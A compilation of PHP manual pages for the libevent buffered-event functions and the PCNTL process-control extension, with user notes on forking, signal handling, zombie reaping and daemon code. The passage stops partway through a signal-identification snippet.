Set or reset callbacks for a buffered event

event_buffer_read
event_buffer_timeout_set
Libevent Functions
PHP Manual

event_buffer_set_callback

(PECL libevent >= 0.0.4)

event_buffer_set_callback — Set or reset callbacks for a buffered event

Description

bool event_buffer_set_callback ( resource $event , mixed $readcb , mixed $writecb , mixed $errorcb [, mixed $arg ] )

Sets or changes existing callbacks for the buffered event.

Parameters

event

Valid buffered event resource.

readcb

Callback to invoke where there is data to read, or NULL if no callback is desired.

writecb

Callback to invoke where the descriptor is ready for writing, or NULL if no callback is desired.

errorcb

Callback to invoke where there is an error on the descriptor, cannot be NULL.

arg

An argument that will be passed to each of the callbacks (optional).

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
event_buffer_read
event_buffer_timeout_set
Libevent Functions


Set read and write timeouts for a buffered event

event_buffer_set_callback
event_buffer_watermark_set
Libevent Functions
PHP Manual

event_buffer_timeout_set

(PECL libevent >= 0.0.1)

event_buffer_timeout_set — Set read and write timeouts for a buffered event

Description

void event_buffer_timeout_set ( resource $bevent , int $read_timeout , int $write_timeout )

Sets the read and write timeouts for the specified buffered event.

Parameters

bevent

Valid buffered event resource.

read_timeout

Read timeout (in seconds).

write_timeout

Write timeout (in seconds).

User Contributed Notes

There are no user contributed notes for this page.
event_buffer_set_callback
event_buffer_watermark_set
Libevent Functions


Set the watermarks for read and write events

event_buffer_timeout_set
event_buffer_write
Libevent Functions
PHP Manual

event_buffer_watermark_set

(PECL libevent >= 0.0.1)

event_buffer_watermark_set — Set the watermarks for read and write events

Description

void event_buffer_watermark_set ( resource $bevent , int $events , int $lowmark , int $highmark )

Sets the watermarks for read and write events. Libevent does not invoke read callback unless there is at least lowmark bytes in the input buffer; if the read buffer is beyond the highmark, reading is stopped. On output, the write callback is invoked whenever the buffered data falls below the lowmark.

Parameters

bevent

Valid buffered event resource.

events

Any combination of EV_READ and EV_WRITE.

lowmark

Low watermark.

highmark

High watermark.

User Contributed Notes

There are no user contributed notes for this page.
event_buffer_timeout_set
event_buffer_write
Libevent Functions


Write data to a buffered event

event_buffer_watermark_set
event_del
Libevent Functions
PHP Manual

event_buffer_write

(PECL libevent >= 0.0.1)

event_buffer_write — Write data to a buffered event

Description

bool event_buffer_write ( resource $bevent , string $data [, int $data_size = -1 ] )

Writes data to the specified buffered event. The data is appended to the output buffer and written to the descriptor when it becomes available for writing.

Parameters

bevent

Valid buffered event resource.

data

The data to be written.

data_size

Optional size parameter. event_buffer_write() writes all the data by default.

Return Values

event_buffer_write() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
event_buffer_watermark_set
event_del
Libevent Functions


Remove an event from the set of monitored events

event_buffer_write
event_free
Libevent Functions
PHP Manual

event_del

(PECL libevent >= 0.0.1)

event_del — Remove an event from the set of monitored events

Description

bool event_del ( resource $event )

Cancels the event.

Parameters

event

Valid event resource.

Return Values

event_del() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
event_buffer_write
event_free
Libevent Functions


Free event resource

event_del
event_new
Libevent Functions
PHP Manual

event_free

(PECL libevent >= 0.0.1)

event_free — Free event resource

Description

void event_free ( resource $event )

Frees previously created event resource.

Parameters

event

Valid event resource.

User Contributed Notes

There are no user contributed notes for this page.
event_del
event_new
Libevent Functions


Create new event

event_free
event_set
Libevent Functions
PHP Manual

event_new

(PECL libevent >= 0.0.1)

event_new — Create new event

Description

resource event_new ( void )

Creates and returns a new event resource.

Return Values

event_new() returns a new event resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
event_free
event_set
Libevent Functions


Prepare an event

event_new
PCNTL
Libevent Functions
PHP Manual

event_set

(PECL libevent >= 0.0.1)

event_set — Prepare an event

Description

bool event_set ( resource $event , mixed $fd , int $events , mixed $callback [, mixed $arg ] )

Prepares the event to be used in event_add(). The event is prepared to call the function specified by the callback on the events specified in parameter events, which is a set of the following flags: EV_TIMEOUT, EV_SIGNAL, EV_READ, EV_WRITE and EV_PERSIST.

If EV_SIGNAL bit is set in parameter events, the fd is interpreted as signal number.

After initializing the event, use event_base_set() to associate the event with its event base.

In case of matching event, these three arguments are passed to the callback function:

fd

Signal number or resource indicating the stream.

events

A flag indicating the event. Consists of the following flags: EV_TIMEOUT, EV_SIGNAL, EV_READ, EV_WRITE and EV_PERSIST.

arg

Optional parameter, previously passed to event_set() as arg.

Parameters

event

Valid event resource.

fd

Valid PHP stream resource. The stream must be castable to file descriptor, so you most likely won't be able to use any of filtered streams.

events

A set of flags indicating the desired event, can be EV_READ and/or EV_WRITE. The additional flag EV_PERSIST makes the event to persist until event_del() is called, otherwise the callback is invoked only once.

callback

Callback function to be called when the matching event occurs.

arg

Optional callback parameter.

Return Values

event_set() returns TRUE on success or FALSE on error.

Changelog

Version | Description
0.0.4 | EV_SIGNAL support was added.

User Contributed Notes

jille at hexon dot cx 13-May-2011 08:42
If you change your event with event_set() libevent will forget which base your event belongs to. You must call event_base_set() again *before* calling event_add() on it.
event_new
PCNTL
Libevent Functions


Process Control

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • PCNTL Functions
    • pcntl_alarm — Set an alarm clock for delivery of a signal
    • pcntl_exec — Executes specified program in current process space
    • pcntl_fork — Forks the currently running process
    • pcntl_getpriority — Get the priority of any process
    • pcntl_setpriority — Change the priority of any process
    • pcntl_signal_dispatch — Calls signal handlers for pending signals
    • pcntl_signal — Installs a signal handler
    • pcntl_sigprocmask — Sets and retrieves blocked signals
    • pcntl_sigtimedwait — Waits for signals, with a timeout
    • pcntl_sigwaitinfo — Waits for signals
    • pcntl_wait — Waits on or returns the status of a forked child
    • pcntl_waitpid — Waits on or returns the status of a forked child
    • pcntl_wexitstatus — Returns the return code of a terminated child
    • pcntl_wifexited — Checks if status code represents a normal exit
    • pcntl_wifsignaled — Checks whether the status code represents a termination due to a signal
    • pcntl_wifstopped — Checks whether the child process is currently stopped
    • pcntl_wstopsig — Returns the signal which caused the child to stop
    • pcntl_wtermsig — Returns the signal which caused the child to terminate

User Contributed Notes

There are no user contributed notes for this page.
event_set
Introduction
Process Control Extensions


Introduction

Process Control support in PHP implements the Unix style of process creation, program execution, signal handling and process termination. Process Control should not be enabled within a web server environment and unexpected results may happen if any Process Control functions are used within a web server environment.

This documentation is intended to explain the general usage of each of the Process Control functions. For detailed information about Unix process control you are encouraged to consult your systems documentation including fork(2), waitpid(2) and signal(2) or a comprehensive reference such as Advanced Programming in the UNIX Environment by W. Richard Stevens (Addison-Wesley).

PCNTL now uses ticks as the signal handle callback mechanism, which is much faster than the previous mechanism. This change follows the same semantics as using "user ticks". You use the declare() statement to specify the locations in your program where callbacks are allowed to occur. This allows you to minimize the overhead of handling asynchronous events. In the past, compiling PHP with pcntl enabled would always incur this overhead, whether or not your script actually used pcntl.

There is one adjustment that all pcntl scripts prior to PHP 4.3.0 must make for them to work which is to either to use declare() on a section where you wish to allow callbacks or to just enable it across the entire script using the new global syntax of declare().

Note: This extension is not available on Windows platforms.

User Contributed Notes

sean dot kelly at mediatile dot com 09-Jan-2012 01:32
The following statement left me searching for answers for about a day before I finally clued in:

"Process Control should not be enabled within a web server environment and unexpected results may happen if any Process Control functions are used within a web server environment."

At least for PHP 5.3.8 which I am using, and who knows how far back, it's not a matter of "should not", it's "can not". Even though I have compiled in PCNTL with --enable-pcntl, it turns out that it only compiles in to the CLI version of PHP, not the Apache module. As a result, I spent many hours trying to track down why function_exists('pcntl_fork') was returning false even though it compiled correctly. It turns out it returns true just fine from the CLI, and only returns false for HTTP requests. The same is true of ALL of the pcntl_*() functions.
PCNTL
Installing/Configuring
PCNTL


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
PCNTL


Installation

Process Control support in PHP is not enabled by default. You have to compile the CGI or CLI version of PHP with --enable-pcntl configuration option when compiling PHP to enable Process Control support.

Note:

Currently, this module will not function on non-Unix platforms (Windows).

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The following list of signals are supported by the Process Control functions. Please see your systems signal(7) man page for details of the default behavior of these signals.

WNOHANG (integer)
WUNTRACED (integer)
SIG_IGN (integer)
SIG_DFL (integer)
SIG_ERR (integer)
SIGHUP (integer)
SIGINT (integer)
SIGQUIT (integer)
SIGILL (integer)
SIGTRAP (integer)
SIGABRT (integer)
SIGIOT (integer)
SIGBUS (integer)
SIGFPE (integer)
SIGKILL (integer)
SIGUSR1 (integer)
SIGSEGV (integer)
SIGUSR2 (integer)
SIGPIPE (integer)
SIGALRM (integer)
SIGTERM (integer)
SIGSTKFLT (integer)
SIGCLD (integer)
SIGCHLD (integer)
SIGCONT (integer)
SIGSTOP (integer)
SIGTSTP (integer)
SIGTTIN (integer)
SIGTTOU (integer)
SIGURG (integer)
SIGXCPU (integer)
SIGXFSZ (integer)
SIGVTALRM (integer)
SIGPROF (integer)
SIGWINCH (integer)
SIGPOLL (integer)
SIGIO (integer)
SIGPWR (integer)
SIGSYS (integer)
SIGBABY (integer)
SIG_BLOCK (integer)
Available since PHP 5.3.0.
SIG_UNBLOCK (integer)
Available since PHP 5.3.0.
SIG_SETMASK (integer)
Available since PHP 5.3.0.
SI_USER (integer)
Available since PHP 5.3.0.
SI_NOINFO (integer)
Available since PHP 5.3.0.
SI_KERNEL (integer)
Available since PHP 5.3.0.
SI_QUEUE (integer)
Available since PHP 5.3.0.
SI_TIMER (integer)
Available since PHP 5.3.0.
SI_MSGGQ (integer)
Available since PHP 5.3.0.
SI_ASYNCIO (integer)
Available since PHP 5.3.0.
SI_SIGIO (integer)
Available since PHP 5.3.0.
SI_TKILL (integer)
Available since PHP 5.3.0.
CLD_EXITED (integer)
Available since PHP 5.3.0.
CLD_KILLED (integer)
Available since PHP 5.3.0.
CLD_DUMPED (integer)
Available since PHP 5.3.0.
CLD_TRAPPED (integer)
Available since PHP 5.3.0.
CLD_STOPPED (integer)
Available since PHP 5.3.0.
CLD_CONTINUED (integer)
Available since PHP 5.3.0.
TRAP_BRKPT (integer)
Available since PHP 5.3.0.
TRAP_TRACE (integer)
Available since PHP 5.3.0.
POLL_IN (integer)
Available since PHP 5.3.0.
POLL_OUT (integer)
Available since PHP 5.3.0.
POLL_MSG (integer)
Available since PHP 5.3.0.
POLL_ERR (integer)
Available since PHP 5.3.0.
POLL_PRI (integer)
Available since PHP 5.3.0.
POLL_HUP (integer)
Available since PHP 5.3.0.
ILL_ILLOPC (integer)
Available since PHP 5.3.0.
ILL_ILLOPN (integer)
Available since PHP 5.3.0.
ILL_ILLADR (integer)
Available since PHP 5.3.0.
ILL_ILLTRP (integer)
Available since PHP 5.3.0.
ILL_PRVOPC (integer)
Available since PHP 5.3.0.
ILL_PRVREG (integer)
Available since PHP 5.3.0.
ILL_COPROC (integer)
Available since PHP 5.3.0.
ILL_BADSTK (integer)
Available since PHP 5.3.0.
FPE_INTDIV (integer)
Available since PHP 5.3.0.
FPE_INTOVF (integer)
Available since PHP 5.3.0.
FPE_FLTDIV (integer)
Available since PHP 5.3.0.
FPE_FLTOVF (integer)
Available since PHP 5.3.0.
FPE_FLTUND (integer)
Available since PHP 5.3.0.
FPE_FLTRES (integer)
Available since PHP 5.3.0.
FPE_FLTINV (integer)
Available since PHP 5.3.0.
FPE_FLTSUB (integer)
Available since PHP 5.3.0.
SEGV_MAPERR (integer)
Available since PHP 5.3.0.
SEGV_ACCERR (integer)
Available since PHP 5.3.0.
BUS_ADRALN (integer)
Available since PHP 5.3.0.
BUS_ADRERR (integer)
Available since PHP 5.3.0.
BUS_OBJERR (integer)
Available since PHP 5.3.0.

User Contributed Notes

eclecticrob at gmail dot com 04-Jan-2012 03:43
On OS X, the values of the constants are:

SIGHUP = 1
SIGINT = 2
SIGQUIT = 3
SIGILL = 4
SIGTRAP = 5
SIGABRT = 6
SIGIOT = 6
SIGBUS = 10
SIGFPE = 8
SIGUSR1 = 30
SIGSEGV = 11
SIGUSR2 = 31
SIGPIPE = 13
SIGALRM = 14
SIGTERM = 15
SIGSTKFLT not defined
SIGCLD not defined
SIGCHLD = 20
SIGCONT = 19
SIGTSTP = 18
SIGTTIN = 21
SIGTTOU = 22
SIGURG = 16
SIGXCPU = 24
SIGXFSZ = 25
SIGVTALRM = 26
SIGPROF = 27
SIGWINCH = 28
SIGPOLL not defined
SIGIO = 23
SIGPWR not defined
SIGSYS = 12
SIGBABY = 12
SIG_BLOCK = 1
SIG_UNBLOCK = 2
SIG_SETMASK = 3
Resource Types
Examples
PCNTL


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
PCNTL


Basic usage

This example forks off a daemon process with a signal handler.

Example #1 Process Control Example

<?php
declare(ticks=1);

$pid = pcntl_fork();
if ($pid == -1) {
     die("could not fork");
} else if ($pid) {
     exit(); // we are the parent
} else {
     // we are the child
}

// detatch from the controlling terminal
if (posix_setsid() == -1) {
    die("could not detach from terminal");
}

// setup signal handlers
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");

// loop forever performing tasks
while (1) {

    // do something interesting here

}

function sig_handler($signo)
{

     switch ($signo) {
         case SIGTERM:
             // handle shutdown tasks
             exit;
             break;
         case SIGHUP:
             // handle restart tasks
             break;
         default:
             // handle all other signals
     }

}

?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
PCNTL Functions
Examples


PCNTL Functions

See Also

A look at the section about POSIX functions may be useful.

Table of Contents

  • pcntl_alarm — Set an alarm clock for delivery of a signal
  • pcntl_exec — Executes specified program in current process space
  • pcntl_fork — Forks the currently running process
  • pcntl_getpriority — Get the priority of any process
  • pcntl_setpriority — Change the priority of any process
  • pcntl_signal_dispatch — Calls signal handlers for pending signals
  • pcntl_signal — Installs a signal handler
  • pcntl_sigprocmask — Sets and retrieves blocked signals
  • pcntl_sigtimedwait — Waits for signals, with a timeout
  • pcntl_sigwaitinfo — Waits for signals
  • pcntl_wait — Waits on or returns the status of a forked child
  • pcntl_waitpid — Waits on or returns the status of a forked child
  • pcntl_wexitstatus — Returns the return code of a terminated child
  • pcntl_wifexited — Checks if status code represents a normal exit
  • pcntl_wifsignaled — Checks whether the status code represents a termination due to a signal
  • pcntl_wifstopped — Checks whether the child process is currently stopped
  • pcntl_wstopsig — Returns the signal which caused the child to stop
  • pcntl_wtermsig — Returns the signal which caused the child to terminate

User Contributed Notes

jjoss 31-May-2009 05:57
By default pcntl library is not enabled on web server installation. In order to use pcntl_fork() function you need to compile and enable pcntl.so module. That is pretty easy on Ubuntu.

Login as superuser

Firstly install the php5-dev package:

  apt-get install php5-dev

Create a temporary folder and get php sources

  mkdir php
  cd php
  apt-get source php5

Then go into the extension directory.

  cd php5-5.1.2/ext/pcntl

Compile the extension

  phpize
  ./configure
  make

Copy the extension

  cp modules/* /usr/lib/php5/20051025/

Your php5 library directory might be named something else.
Restart Apache

  apache2 -k restart
kevin at vanzonneveld dot net 05-Sep-2008 03:29
If you want to create a daemon in PHP, consider using System_Daemon http://pear.php.net/package/System_Daemon

Install it like this:
pear install -f system_daemon

Then use it like this:
<?php
// Include PEAR's Daemon Class
require_once "System/Daemon.php";

// Bare minimum setup
System_Daemon::setOption("appName", "mydaemonname");

// Spawn Deamon!
System_Daemon::start();

// Your PHP Here!
while (true) {
    doTask();
}

// Stop daemon!
System_Daemon::stop();
?>

More examples can be found inside the PEAR package.
m dot quinton at gmail dot com 08-Apr-2008 12:02
a nice example of a class framework to manage tasks using pcntl_fork.

<?php

/**
 * author : Marc Quinton / April 2008.
 *
 *  a simple task management framework using pcntl_fork, pcntl_wait.
 *
 *  - see at bottom for a sample usage.
 *  - you shoud overring Task class (SleepingClass is an example), and manage them in a pool, using taskManager
 */

error_reporting(E_ALL);

class Task {

    protected $pid;
    protected $ppid;

    function __construct(){
    }

    function fork(){
        $pid = pcntl_fork();
        if ($pid == -1)
            throw new Exception ('fork error on Task object');
        elseif ($pid) {
            # we are in parent class
            $this->pid = $pid;
            # echo "< in parent with pid {$his->pid}\n";
        } else{
            # we are is child
            $this->run();
        }
    }

    function run(){
        # echo "> in child {$this->pid}\n";
        # sleep(rand(1,3));
        $this->ppid = posix_getppid();
        $this->pid = posix_getpid();
    }

    # call when a task in finished (in parent)
    function finish(){
        echo "task finished {$this->pid}\n";
    }

    function pid(){
        return $this->pid;
    }
}

class SleepingTask extends Task{
    function run(){
        parent::run();
        echo "> in child {$this->pid}\n";

        # print_r($this);

        sleep(rand(1,5));
        echo "> child done {$this->pid}\n";
        exit(0);
    }
}

class TaskManager{

    protected $pool;

    function __construct(){
        $this->pool = array();
    }

    function add_task($task){
        $this->pool[] = $task;
    }

    function run(){

        foreach($this->pool as $task){
            $task->fork();
        }

        # print_r($this);
        # sleep(60);

        while(1){
            echo "waiting\n";
            $pid = pcntl_wait($extra);
            if($pid == -1)
                break;

            echo ": task done : $pid\n";
            $this->finish_task($pid);
        }

        echo "processes done ; exiting\n";
        exit(0);
    }

    function finish_task($pid){
        if($task = $this->pid_to_task($pid))
            $task->finish();
    }

    function pid_to_task($pid){
        foreach($this->pool as $task){
            if($task->pid() == $pid)
                return $task;
        }
        return false;
    }
}

$manager = new TaskManager();

for($i=0 ; $i<10 ; $i++)
    $manager->add_task(new SleepingTask());

$manager->run();

?>
registrazioni at XSPAMX dot tassetti dot net 05-Sep-2007 09:12
(PHP 5.2.4)

This is an example of multithreading keeping different connections to a mysql database: when children exit they close the connection and others can't use it any more generating problems. In this example I used variable variables to make a different connection per each child.

This scripts loops forever with one mother detached from the terminal and five children 'named' from 1 to 5. When one children sees it's name in the database (one table 'test.tb' with only one field 'test') he lets himself die. To kill children insert their value in the db. The mother suicides only when all children are dead.

What a sad but interesting story...

    $npid = pcntl_fork(); // DETACH FROM TERMINAL AND BE REAPED BY INIT

    if ($npid==-1) die("Error: impossible to pcntl_fork()\n");
    else if ($npid) exit(0); // THE GRANPA DIES
    else // MOTHER GOES ON TO MAKE CHILDREN
    {
        $children = 5;
        for ($i=1; $i<=$children; $i++)
        {
            $pid = pcntl_fork();
            if ($pid==-1) die("Error: impossible to pcntl_fork()\n");
            else if ($pid)
            {
                 $pid_arr[$i] = $pid;
            }
            if (!$pid) // CHILDREN
            {
                global $vconn;
                $vconn = "vconn$i";
                global $$vconn;
                $$vconn = @mysql_connect("mydbhost","mydbuser","mydbpwd");
                if (!($$vconn)) echo mysql_error();
                if (!($$vconn)) exit;

                while (1)
                {
                    $query = "SELECT test FROM test.tb";
                    $rs = mysql_query($query,$$vconn);
                    $rw = mysql_fetch_row($rs);
                    if ($rw[0]==$i) exit;
                    else
                    {
                        echo "Database is $rw[0] and I am $i, it's not my time, I will wait....\n";
                        sleep(1);
                    }
                }
            }
        }

        foreach ($pid_arr as $pid)
        {
            // we are the parent and we wait for all children to die
            pcntl_waitpid($pid, $status);
        }
        echo "All my children died, I will suicide...\n";
        exit();
    }
flyingguillotine1968 at yahoo dot com 12-Aug-2007 05:16
ok, heres what ya do to handle child process's ... :>

you want to pfork your main program, and let it exit,
allowing the new child to become the main program (parent process).

example psudo code :
main program start;
     ....
     if pfork'd child ok
          then exit ;

    // now your new child process is in control...
    // use a signal handler to make it exit (sigkill or sigterm probably)
    // when this new process pforks, store the new child PID's in an
    // array.   when your process  catch's the sigterm  signal
    // loop thru the array of its child PID's sending each child
    // sigkill , then call  pwait on them to wait for them to exit.
    // this will make sure any child process are cleaned up ok
    // THEN .. now here's the trick....
    // reset yer sigterm handler BACK to its original default handler,
   // thennnnn   raise sigterm , main program will exit ok now tooooo :>

example:
when your pfork'd main process gets sigterm ... then do something
like this :

foreach ($this->pForkList as $kiddie) {
$deadPID    = 0;
$this->sendSignal(SIGKILL,$kiddie);
do {
$deadPID = pcntl_waitpid(-1,WNOHANG);
if ($deadPID > 0) {
// kiddie has exited now ...
unset($this->pForkList[ array_search($deadPID,$this->pForkList)]);
break;
} // end if
} while ($deadPID == 0);

} // end for

// now reset sigterm ...
$this->signalSet($sigNum,SIG_DFL);
// RAISE sigterm now ...
$this->sendSignal(SIGTERM,$this->myPID);

this will allow your main process and all its child process's to exit properly and not leave and zombies or other bad stuff behind !
kementeusNOSPAM at gmail dot com 28-Dec-2006 09:43
In the example of the documentation we need to put the pctnl_signal statements BEFORE the while loop.

In that way we can execute whatever we put in the signal handler functions.
corychristison at lavacube dot com 02-Nov-2004 06:53
An easier way than what was first suggested in the first comment, to retrieve what signal your application is being sent would be to use get_defined_constants() to list all constants, loop through and strip out those that are not signals, and to check if it matches the value.

Here is my code for doing this, written for PHP5 only.
<?php

// php5 Specfic

function pcntl_sig_identify ( $sig_no ) {
    $get_constants = get_defined_constants(true);
    $pcntl_contstants = $get_constants["pcntl"];
    $keys = array_keys( $pcntl_contstants );
      foreach($keys as $key){
        if(strstr($key, "SIG") && !strstr($key, "_") && $pcntl_contstants[$key] == $sig_no){
      return $key;
    }
      } // end loop
} // end function pcntl_sig_identify

//
// This example will output "SIGTERM"
//

print pcntl_sig_identify(15) . "\n";

?>
andy at cbeyond dot net 20-Aug-2004 09:26
Suppose you want to fork off children to handle a few hundred different targets (like, say, SNMP polling, but that's just one example).  Since you don't want to fork-bomb yourself, here's one method of limiting the number of children you have in play at any one time:

#!/usr/bin/php -q
<?php
declare(ticks = 1);

$max=10;
$child=0;

// function for signal handler
function sig_handler($signo) {
  global $child;
  switch ($signo) {
    case SIGCHLD:
      echo "SIGCHLD received\n";
      $child -= 1;
  }
}

// install signal handler for dead kids
pcntl_signal(SIGCHLD, "sig_handler");

for ($i=1;$i<=20;$i++) {
        while ($child >= $max) {
                sleep(5); echo "\t Maximum children allowed\n";
                }
        $child++;
        $pid=pcntl_fork();
        if ($pid == -1) {
                die("could not fork");
        } else if ($pid) {
                // we are the parent
        } else {
                // we are the child
                echo "child number $i\n";
                // presumably doing something interesting
                sleep(15);
                exit;
        }
}
04-Dec-2003 03:52
in example 1, i found unless i create function sig_handler _BEFORE_ pcnt_signal, it wouldnt work.. and would just fall to the floor bleeding to death

(note for people having these kinda probs)
cameronNO_SPAM at tripdubdev dot com 18-Nov-2003 12:36
I'm currently working on some code for this, but in case I forget to come back to post to the board, or in case it takes me a while, why not just have a separate background job running (started up via the shell) that tracks which sockets are available to clients ?  Then all you'd have to do is communicate with the one job (or perhaps its own mini-server) run in the background that keeps an array of the available sockets for the server.  This seems the most natural alternative since PHP disclaims that process control functionality should not be used in a web-server environment.  I would hate to build a server, especially one with high traffic, that had to run through a loop in order to find an available socket.
luca dot mariano at email dot it 12-Nov-2003 06:49
Hi folks,
if someone uses PHP-CLI onWin32 and wants to experiment the PCNTL stuff, I've packed a binary version of PHP with built-in pcntl, shmop, sysvshm and other typical Unix extensions... (thanks to Cygwin DLLs).
Download it: http://phplet.sf.net/modules.php?name=Web_Links&l_op=visit&lid=4
jeremy at nirvani dot net 15-Oct-2003 08:54
#!/usr/local/bin/php -q
<?php

# Jeremy Brand <jeremy@nirvani.net>
# http://www.nirvani.net/

# ./configure --enable-pcntl --enable-sigchild
# make
# make install

# This code example shows how to use a script to do multiprocessing.  Each time
# this script is ran, the result is 5 (in this example) processes running to
# accomplish a specified task.

# Examples could be a messaging queue.  You could get the number of messages in
# a queue and handle any or all of them asynchronously.

# Get the number of children you want to be born by running this
# script once.
$children = 5; # likely a function call here.

for ($i=1; $i<=$children; $i++)
{

  $pid = pcntl_fork();
  if ($pid == -1)
  {
    die("could not fork\n");
  }
  else if ($pid)
  {
    # If we are the parent, we did our job of giving birth,
    # now lets finish our job and die!
    exit(0);
  }
  else
  {
    # Since we are the child, fork so that init will become our parent.  Init
    # is good at wait()ing on children - ie: reaping.
    $cpid = pcntl_fork();
    if ($cpid == -1)
    {
      die("could not fork in child process\n");
    }
    if (!$cpid)
    {
      # We have now forked off from our parent and also are not waiting on any
      # other children to process, however other children are running
      # simutaniously to us.  Make sure the code you write here is safe to run
      # in this environment of multiprocessing - ie: proper locking, etc.
      # Write the custom code here that you want to multiprocess.

      # ADD CODE HERE TO MULTIPROCESS
      print "we are child number $i\n";

      # Don't forget to exit after the child processing is done.  Certainly
      # change this exit code if you need to however.
      exit(0);
    }
  }
}

?>
David Koopman 14-Sep-2003 01:32
I had a hard time finding a complete example of using PHP as a multi-process (or multi-threaded - I don't understand the difference in these two terms) daemon using connection pooling.  I put pieces of the puzzle together and came up with the program below.  I hope it helps someone.  Notes about making this work:

1) I rebuilt PHP on my machine with these config options:
./configure --enable-sockets --enable-pcntl --enable-sigchild
make
make install

2) I have problems when tried to handle SIGTERM and SIGHUP myself, so I removed these from my code, don't use them unless you have a special need for this:
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");

What I do is:
1. start the program, then fork to detach from the terminal (kill the parent and make the child the session leader).

2. bind to address and port and start listening.

3. fork $poolNum times, creating $poolNum children (this is the pool of daemons running.  The children handle the incoming connections).

4. keep the parent process running in a loop, constantly checking to see if it should create a new child.  It will always keep $poolNum spare children ready (as long as the total pooled connections doesn't exceed $maxDaemon).  As connections come in, more children are spawned.

5. When a new connection comes in, it is handed off to the first child.  This child then sends a SIGUSR1 signal back to the parent.  The parent has a signal handler for SIGUSR1, which will increment the $numActive variable by one.  The loop that is running (see 4 above) will note the increment in $numActive and automatically create a new child process to keep the process pool going.

I have to post the code in the next note, the note engine on this site won't allow such a long note to be posted, but I think this code example is well worth a comment on this...
schst at php dot net 01-Sep-2003 07:39
To get rid of the zombies when child processes terminate you do not have to write a lot of code that uses complex stuff like message queues.
Instead you only set a signal handler:

pcntl_signal(SIGCHLD, SIG_IGN);

Stephan
Patrice Levesque 14-Jun-2003 01:11
So, you want to create multiple child processes and don't want any zombies, don't you?

You can use IPC to achieve just that.  Every child that is spawned has to tell its parent that time has come for him to be terminated.  So, yes, zombies will be created, but once in a while the parent will 'clean up' after his kids.  Code:

<?php
  declare(ticks = 1);
  // create a IPC message queue
  $msgqueue = msg_get_queue(ftok("/tmp/php_msgqueue.stat", 'R'),0666 | IPC_CREAT);
  // loop for 1000 children
  for ($c = 0; $c < 1000; $c++) {
    // fork
    $pcid = pcntl_fork();
    if ($pcid == -1) {
      die("Could not fork!");
    }
    elseif ($pcid) { // we are the parent, look for zombie kids and terminate 'em
      // look in the IPC message queue if there are any entries
      $currentqueue = msg_stat_queue($msgqueue);
      $n = $currentqueue['msg_qnum']; // number of messages (number of kids to terminate)
      if ($n > 0) {
        echo "There are $n kids to terminate.\n";
        for ($i = 0; $i < $n; $i++) {
          // pop the kid's PID from the IPC message queue
          if (!msg_receive ($msgqueue, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
            echo "MSG_RECV ERROR: $errmsg \n"; // something has gone wrong
          }
          else {
            pcntl_waitpid($msg, $tmpstat, 0); // terminate kid for real.
          };
        };
      };
    }
    else { // we are the child!
      if (!posix_setsid()) { die ("Could not detach"); }; // detach
      echo "I am child number $c\n";
      sleep(5); // do something useful
      // tell dad I'm finished via IPC: send him my PID
      if (!msg_send($msgqueue, 1, posix_getpid(), true, true, $errmsg)) {
        echo "MSG_SEND ERROR: $errmsg \n";
      };
      exit(); // become a zombie until dad kills me
    };
  };
?>
van[at]webfreshener[dot]com 10-Oct-2002 07:53
Forking your PHP daemon will cause it to zombie on exit.

...or so I've seen on:
FreeBSD (PHP4.2.x)
Debian (PHP4.3.0-dev)
Darwin (PHP4.3.0-dev)

This was tested with the example code above and other scripts created for evaluation.

Seems adding --enable-sigchild to your configure will get rid of the problem.

Hope that saves some hair tearing :]
keksov[at]gmx.de 29-May-2002 10:10
You have to use socket_select before socket_accept, so your code will wait for connection with select. socket_select can be interrupted by signals easily. Below is an example from my library (methods of class TNetSocket):
  //-- select
  function select($aread=NULL,$awrite=NULL,$aexcept=NULL,$timeout=NULL)
  {
    while(1)
    {
      $res="";
      $res=socket_select($aread, $awrite, $aexcept, $timeout);

      // if errno===0 it means what select was interrrupted by SysV signal
      if($res===false && socket_last_error($this->socket())!==0)
      { // error occured, interrupted not by a signal
        $this->set_socket_error(__LINE__);
        return(false);
      }
      break;
    }
    return(true);
  }

  //-- accept, wait for incomming connection
  function accept()
  {
    $this->clear_socket_error();
    $this->set_io_socket(_SOCKET_);

    $socket=$this->socket();
    $aread=array($socket);
    if ($this->select($a=&$aread)===false)
      return(false);

    $child_socket=socket_accept($this->socket);
    if($child_socket <= 0)
    { // error occured
      $this->set_socket_error(__LINE__);
      return(false);
    }

    $this->child_socket=$child_socket;
    $this->sockets[_CHILD_SOCKET_]=&$this->child_socket;
    $this->set_io_socket(_CHILD_SOCKET_);

    $a=&$this->peername;
    $res=socket_getpeername($child_socket,$a);

    if($res <= 0)
    { // error occured
      $this->set_socket_error(__LINE__);
      return(false);
    }

    $this->get_address_and_port(_CHILD_SOCKET_);
    TLogManager::phpserv("Connection accepted. ADDRESS $this->address, PORT $this->port","net_socket",__FILE__,__LINE__);

    $this->connected=true;
    return(true); // return new object of TNetSocket type
  }
daniel[at]lorch.cc 27-Feb-2002 03:48
This piece of code helped me to find out what signals are being sent to my process:

function sig_identify($signo) {
  switch($signo) {
    case SIGFPE:    return 'SIGFPE';
    case SIGSTOP:   return 'SIGSTOP';
    case SIGHUP:    return 'SIGHUP';
    case SIGINT:    return 'SIGINT';
    case SIGQUIT:   return 'SIGQUIT';
    case SIGILL:    return 'SIGILL';
    case SIGTRAP:   return 'SIGTRAP';
    case SIGABRT:   return 'SIGABRT';
    case SIGIOT:    return 'SIGIOT';
    case SIGBUS:    return 'SIGBUS';
    case SIGPOLL:   return 'SIGPOLL';
